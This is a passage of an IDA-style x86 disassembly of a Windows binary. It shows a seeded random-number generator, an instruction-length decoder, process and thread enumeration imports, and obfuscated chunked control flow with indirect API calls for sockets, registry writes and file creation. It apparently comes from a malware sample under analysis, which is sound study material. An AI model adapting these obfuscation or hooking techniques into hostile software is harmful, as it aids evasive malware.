		mov	edi, [edi]
		shr	edi, 8
		shld	esi, edx, 18h
		shl	edx, 18h
		or	edx, edi
		mov	edi, [ebp+var_14]
		mov	[ebp+var_44], edi
		mov	edi, [eax-8]
		shr	edi, 0Bh
		and	edi, 1FFFEFh
		or	esi, ebx
		mov	ebx, [ecx]
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, [ebp+var_C]
		xor	edi, edx
		xor	edi, [ebp+var_20]
		lea	edx, [eax+218h]
		mov	[edx], edi
		mov	edi, [eax-4]
		mov	ebx, [ecx+4]
		shr	edi, 0Bh
		and	edi, 1ECB7Fh
		shl	ebx, 12h
		xor	edi, ebx
		xor	edi, esi
		xor	edi, [ebp+var_1C]
		xor	[eax+21Ch], edi
		mov	edi, [eax]
		mov	esi, [ecx+8]
		shr	edi, 0Bh
		shl	esi, 12h
		and	edi, 1AFFFFh
		xor	esi, edi
		xor	esi, [eax+220h]
		add	eax, 10h
		xor	esi, [ebp+var_18]
		mov	[ebp+var_4], ecx
		xor	esi, [ebp+var_28]
		mov	[eax+210h], esi
		mov	esi, [eax-0Ch]
		mov	edi, [ecx+0Ch]
		shr	esi, 0Bh
		and	esi, 1FFFF6h
		shl	edi, 12h
		xor	esi, edi
		xor	esi, [ebp+var_44]
		mov	ecx, edx
		xor	esi, [ebp+var_34]
		xor	[eax+214h], esi
		dec	[ebp+var_8]
		jnz	loc_9AA419
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax+9C4h], 0
		pop	edi
		pop	esi
		pop	ebx


loc_9AA55D:				; CODE XREF: sub_9AA298+13j
		mov	ecx, [eax+9C4h]
		mov	edx, [eax+9C0h]
		mov	edx, [edx+ecx*4]
		inc	ecx
		mov	[eax+9C4h], ecx
		mov	eax, edx
		leave
		retn
sub_9AA298	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=74h


sub_9AA577	proc near		; CODE XREF: sub_9A857A+44p

Dst		= byte ptr -134h
PerformanceCount= LARGE_INTEGER	ptr -34h
SystemTime	= _SYSTEMTIME ptr -2Ch
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
hProv		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		lea	ebp, [esp-74h]
		sub	esp, 134h
		mov	eax, dword_9B8788
		xor	eax, ebp
		mov	[ebp+74h+var_4], eax
		push	esi
		mov	esi, [ebp+74h+arg_0]
		lea	eax, [ebp+74h+PerformanceCount]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		lea	eax, [ebp+74h+SystemTime]
		push	eax		; lpSystemTime
		call	GetSystemTime
		call	GetTickCount
		mov	[ebp+74h+var_1C], eax
		rdtsc
		mov	[ebp+74h+var_14], eax
		mov	[ebp+74h+var_10], edx
		call	GetCurrentThreadId
		push	0F0000040h	; dwFlags
		push	1		; dwProvType
		push	offset szProvider ; "Microsoft Base Cryptographic Provider v"...
		mov	[ebp+74h+var_C], eax
		push	0		; szContainer
		lea	eax, [ebp+74h+hProv]
		push	eax		; phProv
		call	CryptAcquireContextA
		test	eax, eax
		jz	short loc_9AA5FA
		lea	eax, [ebp+74h+Dst]
		push	eax		; pbBuffer
		push	100h		; dwLen
		push	[ebp+74h+hProv]	; hProv
		call	CryptGenRandom
		push	0		; dwFlags
		push	[ebp+74h+hProv]	; hProv
		call	CryptReleaseContext


loc_9AA5FA:				; CODE XREF: sub_9AA577+61j
		lea	eax, [esi+4]
		push	eax		; Dst
		lea	eax, [ebp+74h+Dst]
		push	4Ch		; int
		push	eax		; int
		call	sub_9A9FE6
		push	130h		; Size
		lea	eax, [ebp+74h+Dst]
		push	0		; Val
		push	eax		; Dst
		mov	dword ptr [esi], 12345678h
		call	memset
		mov	ecx, [ebp+74h+var_4]
		add	esp, 18h
		xor	ecx, ebp
		pop	esi
		call	sub_9AAAC1
		add	ebp, 74h
		leave
		retn
sub_9AA577	endp


; =============== S U B	R O U T	I N E =======================================



sub_9AA638	proc near		; CODE XREF: sub_9A83C7+24p
					; sub_9A857A+172p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	dword ptr [eax], 12345678h
		jnz	short loc_9AA64F
		add	eax, 4
		push	eax
		call	sub_9AA298
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_9AA64F:				; CODE XREF: sub_9AA638+Aj
		jmp	rand
sub_9AA638	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AA660	proc near		; CODE XREF: sub_9A5938+68p

var_90		= dword	ptr -90h
arg_0		= dword	ptr  4

		pusha
		cld
		xor	edx, edx
		mov	esi, [esp+20h+arg_0]
		mov	ebp, esp
		push	1097F71Ch
		push	0F71C6780h
		push	17389718h
		push	101CB718h
		push	17302C17h
		push	18173017h
		push	0F715F547h
		push	4C103748h
		push	272CE7F7h
		push	0F7AC6087h
		push	1C121C52h
		push	7C10871Ch
		push	201C701Ch
		push	4767602Bh
		push	20211011h
		push	40121625h
		push	82872022h
		push	47201220h
		push	13101419h
		push	18271013h
		push	28858260h
		push	15124045h
		push	5016A0C7h
		push	28191812h
		push	0F2401812h
		push	19154127h
		push	50F0F011h
		mov	ecx, 15124710h
		push	ecx
		push	11151247h
		push	10111512h
		push	47101115h
		mov	eax, 12472015h
		push	eax
		push	eax
		push	12471A10h
		add	cl, 10h
		push	ecx
		sub	cl, 20h
		push	ecx
		xor	ecx, ecx
		dec	ecx


loc_9AA71D:				; CODE XREF: sub_9AA660+E0j
		inc	ecx
		mov	edi, esp


loc_9AA720:				; CODE XREF: sub_9AA660+EAj
		lodsb
		mov	bh, al


loc_9AA723:				; CODE XREF: sub_9AA660+CBj
		mov	ah, [edi]
		inc	edi
		shr	ah, 4
		sub	al, ah
		jnb	short loc_9AA723
		mov	al, [edi-1]
		and	al, 0Fh
		cmp	al, 0Ch
		jnz	short loc_9AA739
		pop	edx
		not	edx


loc_9AA739:				; CODE XREF: sub_9AA660+D4j
		inc	edx
		cmp	al, 0
		jz	short loc_9AA77F
		cmp	al, 1
		jz	short loc_9AA71D
		add	edi, 51h
		cmp	al, 0Ah
		jz	short loc_9AA720
		mov	edi, [ebp+24h]
		inc	edx
		cmp	al, 2
		jz	short loc_9AA77F
		cmp	al, 7
		jz	short loc_9AA787
		cmp	al, 0Bh
		jz	short loc_9AA7DA


loc_9AA75C:				; CODE XREF: sub_9AA660+185j
		inc	edx
		cmp	al, 3
		jz	short loc_9AA77F
		cmp	al, 8
		jz	short loc_9AA787
		inc	edx
		cmp	al, 4
		jz	short loc_9AA77F
		inc	edx
		inc	edx
		pusha
		mov	al, 66h
		repne scasb
		popa
		jnz	short loc_9AA776


loc_9AA774:				; CODE XREF: sub_9AA660+190j
					; sub_9AA660+1A8j
		dec	edx
		dec	edx


loc_9AA776:				; CODE XREF: sub_9AA660+112j
		cmp	al, 9
		jz	short loc_9AA787
		sub	al, 5
		jz	short loc_9AA7EA


loc_9AA77E:				; CODE XREF: sub_9AA660+16Aj
					; sub_9AA660+16Ej ...
		inc	edx


loc_9AA77F:				; CODE XREF: sub_9AA660+DCj
					; sub_9AA660+F2j ...
		mov	esp, ebp
		mov	[esp+0ACh+var_90], edx
		popa
		retn
; ---------------------------------------------------------------------------


loc_9AA787:				; CODE XREF: sub_9AA660+F6j
					; sub_9AA660+103j ...
		lodsb
		mov	ah, al
		shr	al, 7
		jb	short loc_9AA7A1
		jz	short loc_9AA7A5
		add	dl, 4
		pusha
		mov	al, 67h
		repne scasb
		popa
		jnz	short loc_9AA7A5
		sub	dl, 3
		dec	al


loc_9AA7A1:				; CODE XREF: sub_9AA660+12Dj
		jnz	short loc_9AA77F
		inc	edx
		inc	eax


loc_9AA7A5:				; CODE XREF: sub_9AA660+12Fj
					; sub_9AA660+13Aj
		and	ah, 7
		pusha
		mov	al, 67h
		repne scasb
		popa
		jz	short loc_9AA7C3
		cmp	ah, 4
		jz	short loc_9AA7CC
		cmp	ah, 5
		jnz	short loc_9AA77F
		dec	al
		jz	short loc_9AA77F


loc_9AA7BE:				; CODE XREF: sub_9AA660+178j
		add	dl, 4
		jmp	short loc_9AA77F
; ---------------------------------------------------------------------------


loc_9AA7C3:				; CODE XREF: sub_9AA660+14Ej
		cmp	ax, 600h
		jnz	short loc_9AA77F
		inc	edx
		jmp	short loc_9AA77E
; ---------------------------------------------------------------------------


loc_9AA7CC:				; CODE XREF: sub_9AA660+153j
		cmp	al, 0
		jnz	short loc_9AA77E
		lodsb
		and	al, 7
		sub	al, 5
		jnz	short loc_9AA77E
		inc	edx
		jmp	short loc_9AA7BE
; ---------------------------------------------------------------------------


loc_9AA7DA:				; CODE XREF: sub_9AA660+FAj
		test	byte ptr [esi],	38h
		jnz	short loc_9AA787
		mov	al, 8
		shr	bh, 1
		adc	al, 0
		jmp	loc_9AA75C
; ---------------------------------------------------------------------------


loc_9AA7EA:				; CODE XREF: sub_9AA660+11Cj
		sub	bh, 0A0h
		cmp	bh, 4
		jnb	short loc_9AA774
		pusha
		mov	al, 67h
		repne scasb
		popa
		jnz	short loc_9AA7FC
		dec	edx
		dec	edx


loc_9AA7FC:				; CODE XREF: sub_9AA660+198j
		pusha
		mov	al, 66h
		repne scasb
		popa
		jz	loc_9AA77E
		jnz	loc_9AA774


loc_9AA80E:				; DATA XREF: .text:009B8004o
		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, dword_9B8788
		test	eax, eax
		jz	short loc_9AA824
		cmp	eax, 0BB40E64Eh
		jnz	short locret_9AA872


loc_9AA824:				; CODE XREF: sub_9AA660+1BBj
		push	esi
		lea	eax, [ebp-8]
		push	eax		; lpSystemTimeAsFileTime
		call	GetSystemTimeAsFileTime
		mov	esi, [ebp-4]
		xor	esi, [ebp-8]
		call	GetCurrentProcessId
		xor	esi, eax
		call	GetCurrentThreadId
		xor	esi, eax
		call	GetTickCount
		xor	esi, eax
		lea	eax, [ebp-10h]
		push	eax		; lpPerformanceCount
		call	QueryPerformanceCounter
		mov	eax, [ebp-0Ch]
		xor	eax, [ebp-10h]
		xor	esi, eax
		mov	dword_9B8788, esi
		jnz	short loc_9AA871
		mov	dword_9B8788, 0BB40E64Eh


loc_9AA871:				; CODE XREF: sub_9AA660+205j
		pop	esi

locret_9AA872:				; CODE XREF: sub_9AA660+1C2j
		leave
		retn
sub_9AA660	endp ; sp-analysis failed

; [0000003B BYTES: COLLAPSED FUNCTION __SEH_prolog. PRESS KEYPAD "+" TO	EXPAND]
; [00000011 BYTES: COLLAPSED FUNCTION __SEH_epilog. PRESS KEYPAD "+" TO	EXPAND]
; [00000020 BYTES: COLLAPSED FUNCTION __global_unwind2.	PRESS KEYPAD "+" TO EXPAND]
; [00000022 BYTES: COLLAPSED FUNCTION __unwind_handler.	PRESS KEYPAD "+" TO EXPAND]
; [00000068 BYTES: COLLAPSED FUNCTION __local_unwind2. PRESS KEYPAD "+"	TO EXPAND]
; [00000023 BYTES: COLLAPSED FUNCTION __abnormal_termination. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

__NLG_Notify1:
		push	ebx
		push	ecx
		mov	ebx, offset dword_9B878C
		jmp	short loc_9AA9A0
; [00000018 BYTES: COLLAPSED FUNCTION __NLG_Notify. PRESS KEYPAD "+" TO	EXPAND]
		align 10h
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh
; [000000BD BYTES: COLLAPSED FUNCTION unknown_libname_1. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

unknown_libname_2:			; Microsoft VisualC 2-8/net runtime
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	__local_unwind2
		add	esp, 8
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
; [00000019 BYTES: COLLAPSED CHUNK OF FUNCTION sub_9AAAC1. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	ecx
		pop	ecx
		jmp	short loc_9AAAB4
; ---------------------------------------------------------------------------


loc_9AAAAD:				; DATA XREF: .text:stru_9A3600o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_9AAAB1:				; DATA XREF: .text:stru_9A3600o
		mov	esp, [ebp-18h]


loc_9AAAB4:				; CODE XREF: .text:009AAAABj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	3
		call	ExitProcess
; ---------------------------------------------------------------------------
		db 0CCh
; [0000000E BYTES: COLLAPSED FUNCTION sub_9AAAC1. PRESS	KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION strlen. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000068 BYTES: COLLAPSED FUNCTION __aulldiv. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000034 BYTES: COLLAPSED FUNCTION __allmul.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION log. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION sin. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION labs. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND]
		align 10h

__allshl:
		cmp	cl, 40h
		jnb	short loc_9AAC0A
		cmp	cl, 20h
		jnb	short loc_9AAC00
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC00:				; CODE XREF: .text:009AABF8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC0A:				; CODE XREF: .text:009AABF3j
		xor	eax, eax
		xor	edx, edx
		retn
; ---------------------------------------------------------------------------
		align 10h

unknown_libname_3:			; Microsoft VisualC 2-8/net runtime
		cmp	cl, 40h
		jnb	short loc_9AAC2A
		cmp	cl, 20h
		jnb	short loc_9AAC20
		shrd	eax, edx, cl
		shr	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC20:				; CODE XREF: .text:009AAC18j
		mov	eax, edx
		xor	edx, edx
		and	cl, 1Fh
		shr	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_9AAC2A:				; CODE XREF: .text:009AAC13j
		xor	eax, eax
		xor	edx, edx
		retn
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x).	PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION start. PRESS KEYPAD "+" TO EXPAND]
		align 4
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32Next. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Process32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Module32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9AC6A0


loc_9AADB0:				; CODE XREF: sub_9AC6A0+87F1j
					; DATA XREF: .text:off_9B93DFo
		pop	ebp
		pop	ebx
		add	esp, 14h
		retn
; END OF FUNCTION CHUNK	FOR sub_9AC6A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AADB8:				; CODE XREF: sub_9AB1A0+1B22j
					; DATA XREF: .text:off_9BA07Co
		mov	eax, dword_9BCB74
		mov	ecx, [eax+10h]
		push	dword_9BEC30[esi]
		pop	edx
		push	edx
		call	dword ptr [ecx+34h]
		not	eax
		inc	eax
		mov	[ebp-34h], eax
		push	dword ptr [ebp-20h]
		pop	ecx
		cmp	ecx, eax
		jb	loc_9B04E8
		jmp	off_9BA5F0
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3150


loc_9AADE4:				; CODE XREF: sub_9B3150-3080j
		mov	ecx, 80h
		push	dword ptr [ebx+48h]
		pop	edx
		sub	eax, eax
		mov	esi, [ebx]
		lea	edi, [esi+edx-200h]
		rep stosd
		lea	edi, [ebx+4]
		mov	ecx, 10h
		mov	esi, [ebx+48h]
		rep movsd
		mov	dword ptr [ebp-1Ch], 1
		jmp	loc_9AEFA3
; END OF FUNCTION CHUNK	FOR sub_9B3150
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AAE14:				; CODE XREF: sub_9B0930-2385j
					; DATA XREF: .text:off_9B9550o
		push	dword ptr [eax+8]
		pop	edx
		test	edx, edx
		jz	loc_9B23EF
		jmp	off_9B99FA
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AAE28:				; CODE XREF: sub_9AB1A0+558Cj
		push	edi
		call	sub_9B3EFC
		add	esp, 4
		test	eax, eax
		jnz	loc_9B2911
		jmp	loc_9B290C
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B3F28


loc_9AAE40:				; CODE XREF: sub_9B3F28+14j
		push	dword_9BCB74
		pop	ecx
		push	[esp+arg_8]
		pop	eax
		push	dword ptr [ecx+10h]
		pop	edx
		push	[esp+arg_4]
		pop	ecx
		push	10h
		push	eax
		mov	eax, [esp+8+arg_0]
		push	0
		push	ecx
		push	eax
		push	esi
		call	dword ptr [edx+40h]
		sub	ecx, ecx
		and	eax, eax
		setnle	cl
		dec	ecx
		and	ecx, 0FFFFFFFDh
		add	ecx, 4
		mov	eax, ecx
; END OF FUNCTION CHUNK	FOR sub_9B3F28
; [00000003 BYTES: COLLAPSED FUNCTION nullsub_9. PRESS KEYPAD "+" TO EXPAND]
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3A74


loc_9AAE78:				; CODE XREF: sub_9B3A74+85j
					; DATA XREF: .text:off_9BAC90o
		push	esi
		lea	eax, [ebp-120h]
		call	sub_9B18F8
		push	dword ptr [esi+44h]
		pop	ecx
		mov	eax, [esi]
		push	eax
		mov	edx, ecx
		lea	eax, [ebp-120h]
		call	sub_9AB95C
		add	esp, 4
		mov	ecx, dword_9BCB74
		push	dword ptr [ecx+0Ch]
		pop	edx
		lea	eax, [ebp-124h]
		push	eax
		push	20006h
		push	0
		push	ebx
		push	edi
		call	dword ptr [edx+20h]
		test	eax, eax
		jz	loc_9AED9C
		jmp	off_9B9E28
; END OF FUNCTION CHUNK	FOR sub_9B3A74
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AAEC8:				; CODE XREF: sub_9ADAC4+6824j
		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax+10h]
		pop	ecx
		push	6
		push	1
		push	2
		call	dword ptr [ecx+20h]
		mov	ebx, eax
		mov	[ebp-44h], ebx
		test	ebx, ebx
		jz	loc_9B0BD3
		jmp	loc_9B326C
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B4FD0


loc_9AAEF0:				; CODE XREF: sub_9B4FD0-4179j
					; sub_9B4FD0+749j
					; DATA XREF: ...
		lea	edi, [ebx+ebx*2]
		shl	edi, 4
		mov	dword_9BBF74[edi], 1
		push	dword ptr [ebp+0Ch]
		pop	eax
		mov	dword_9BBF78[edi], eax
		push	dword ptr [ebp+1Ch]
		pop	ecx
		mov	dword_9BBF7C[edi], ecx
		push	dword ptr [ebp+10h]
		pop	edx
		mov	dword_9BBF80[edi], edx
		mov	eax, [ebp+14h]
		mov	dword_9BBF84[edi], eax
		push	dword ptr [ebp+18h]
		pop	ecx
		mov	dword_9BBF88[edi], ecx
		mov	edx, [ebp+24h]
		mov	dword_9BBF8C[edi], edx
		push	dword ptr [ebp+20h]
		pop	eax
		mov	dword_9BBF90[edi], eax
		call	sub_9B227C
		mov	dword_9BBF98[edi], eax
		mov	dword_9BBF94[edi], eax
		mov	dword_9BBFA0[edi], esi
		push	dword_9BCB74
		pop	ecx
		mov	eax, [ecx]
		push	esi
		push	80h
		push	2
		push	esi
		push	esi
		push	0C0000000h
		push	ebx
		jmp	off_9BA031
; END OF FUNCTION CHUNK	FOR sub_9B4FD0
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3BE8


loc_9AAF7C:				; CODE XREF: sub_9B3BE8+17j
					; DATA XREF: .text:off_9B9E72o
		mov	ecx, [esp+arg_0]
		push	ecx
		sub	eax, edx
		push	off_9B8E51	; Format
		add	eax, esi
		push	10h		; Count
		push	eax		; Dest
		call	_snprintf
		push	esi
		pop	eax
		add	esp, 10h
		retn	4
; END OF FUNCTION CHUNK	FOR sub_9B3BE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9ADAC4


loc_9AAF9C:				; CODE XREF: sub_9ADAC4+22E0j
		mov	ecx, esi
		call	sub_9B31A8


loc_9AAFA3:				; CODE XREF: sub_9ADAC4-665j
					; sub_9ADAC4+22DAj
		inc	edi
		jmp	loc_9AE6B7
; END OF FUNCTION CHUNK	FOR sub_9ADAC4
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9ABADC


loc_9AAFAC:				; CODE XREF: sub_9ABADC+Cj
		push	esi


loc_9AAFAD:				; CODE XREF: sub_9ABADC-B1Fj
		movzx	esi, byte ptr [ecx]
		xor	eax, esi
		push	eax
		pop	esi
		shr	esi, 1Fh
		add	eax, eax
		or	eax, esi
		inc	ecx
		dec	edx
		jnz	short loc_9AAFAD
		jmp	off_9B9402
; END OF FUNCTION CHUNK	FOR sub_9ABADC
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B6078


loc_9AAFC8:				; CODE XREF: sub_9B6078-A722j
		mov	eax, ebx
		lea	edx, [eax+1]


loc_9AAFCD:				; CODE XREF: sub_9B6078-B0A6j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_9AAFCD
		jmp	off_9BA85D
; END OF FUNCTION CHUNK	FOR sub_9B6078
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AAFDC:				; CODE XREF: sub_9B1D80+3578j
		mov	eax, [ebp-2020h]
		or	eax, eax
		jnz	loc_9B3ECB
		jmp	off_9BA3A0
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9AB1A0


loc_9AAFF0:				; CODE XREF: sub_9AB1A0+46j
					; DATA XREF: .text:off_9B9F48o
		push	off_9BAD92
		call	dword ptr [edx+18h]
		mov	dword ptr [ebp-4], 0
		push	dword ptr [ebp+10h]
		pop	eax
		mov	dword ptr [eax], 0
		sub	edi, edi
		sub	esi, esi
		mov	[ebp-24h], edi
		mov	[ebp-28h], esi


loc_9AB014:				; CODE XREF: sub_9AB1A0+1B0Dj
		cmp	esi, 20h
		jnb	loc_9B0534
		jmp	off_9BA168
; END OF FUNCTION CHUNK	FOR sub_9AB1A0
; ---------------------------------------------------------------------------
		align 4
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AB02C:				; CODE XREF: sub_9B3864-F7Cj
		push	0C01h
		pop	ecx
		div	ecx
		add	edx, 400h
		jmp	loc_9B269E
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_9AB040	proc near		; CODE XREF: sub_9B1D80-206Fp
					; sub_9B3864+51Ap

; FUNCTION CHUNK AT 009AC5DC SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009ADFA8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 009B0688 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 009B0D90 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 009B6548 SIZE 00000013 BYTES

		mov	eax, dword_9BCB74
		mov	ecx, [eax]
		push	edi
		push	off_9BAD92
		sub	edi, edi
		call	dword ptr [ecx+18h]
		sub	eax, eax


loc_9AB055:				; CODE XREF: sub_9AB040+B510j
		mov	ecx, dword_9BEC1C[eax]
		test	ecx, ecx
		jz	loc_9B6548
		jmp	loc_9AC5DC
sub_9AB040	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B4950


loc_9AB068:				; CODE XREF: sub_9B4950-8E06j
					; DATA XREF: .text:off_9B9268o
		lea	esi, [edi+edi*4]
		shl	esi, 3
		cmp	dword_9BEC1C[esi], ebx
		jz	loc_9AFE40
		jmp	loc_9B5C34
; END OF FUNCTION CHUNK	FOR sub_9B4950
; ---------------------------------------------------------------------------
		align 10h
; START	OF FUNCTION CHUNK FOR sub_9B1D80


loc_9AB080:				; CODE XREF: sub_9B1D80-3A98j
					; DATA XREF: .text:off_9B9399o
		push	dword_9BCB74
		pop	ecx
		mov	edx, [ecx+10h]
		mov	eax, [ebp-203Ah]
		push	eax
		call	dword ptr [edx+28h]
		push	eax
		sub	eax, eax
		mov	edx, [ebp-2038h]
		call	sub_9B1334


loc_9AB0A2:				; CODE XREF: sub_9B1D80-5B57j
					; sub_9B1D80-3A9Ej ...
		push	0
		push	0
		push	0
		push	0
		movzx	eax, word ptr [ebp-2022h]
		add	eax, ebx
		push	eax
		push	dword ptr [ebp-2050h]
		pop	ecx
		push	ecx
		push	0
		mov	edx, [ebp+14h]
		push	edx
		jmp	loc_9AFD0D
; END OF FUNCTION CHUNK	FOR sub_9B1D80
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B63D8


loc_9AB0C8:				; CODE XREF: sub_9B63D8-5152j
		cmp	al, 39h
		jg	loc_9AF944
		jmp	loc_9B1D1C
; END OF FUNCTION CHUNK	FOR sub_9B63D8
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B0930


loc_9AB0D8:				; CODE XREF: sub_9B0930+3967j
					; DATA XREF: .text:off_9B8998o
		push	off_9B9445
		push	dword ptr [eax]
		pop	ecx
		push	ecx
		call	esi
		mov	edx, dword_9BCB74
		mov	ecx, [edx]
		mov	[ecx+60h], eax
		push	dword_9BCB74
		pop	edx
		mov	eax, [edx]
		push	dword ptr [eax+60h]
		pop	ecx
		or	ecx, ecx
		jz	loc_9B23EF
		jmp	loc_9B37B4
; END OF FUNCTION CHUNK	FOR sub_9B0930
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_9B327C


loc_9AB10C:				; CODE XREF: sub_9B327C+14j
					; DATA XREF: .text:off_9BAAA5o
		cmp	al, 0Ah
		jz	loc_9B4264
		jmp	off_9BA137
; END OF FUNCTION CHUNK	FOR sub_9B327C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_9AB11C	proc near		; CODE XREF: sub_9B2830+FDFp
					; sub_9B2830+1D65p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 009B31EC SIZE 00000006 BYTES

		push	dword_9BCB74
		pop	eax
		push	dword ptr [eax]
		pop	ecx
		push	off_9B8ED2
		call	dword ptr [ecx+18h]
		push	[esp+arg_4]
		pop	ecx
		mov	eax, off_9B97DD
		push	[esp+arg_0]
		pop	edx
		call	sub_9B2C30
		push	dword_9BCB74
		pop	edx
		push	dword ptr [edx]
		pop	eax
		push	off_9B8ED2
		jmp	loc_9B31EC
sub_9AB11C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B1A08


loc_9AB158:				; CODE XREF: sub_9B1A08-2208j
		mov	[esi+ebp-41BCh], eax
		test	eax, eax
		jz	loc_9AD484
		jmp	loc_9AD46C
; END OF FUNCTION CHUNK	FOR sub_9B1A08
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_9B3864


loc_9AB16C:				; CODE XREF: sub_9B3864-441Fj
					; DATA XREF: .text:off_9BAC67o
		xor	edx, edx
		cmp	edi, 6
		setnz	dl
		dec	edx
		movzx	ebx, [ebp+var_2022]
		and	edx, 200h
		add	edx, 200h
		cmp	ebx, edx
		jl	loc_9AF480
		jmp	off_9BA828
; END OF FUNCTION CHUNK	FOR sub_9B3864
; ---------------------------------------------------------------------------
		align 4
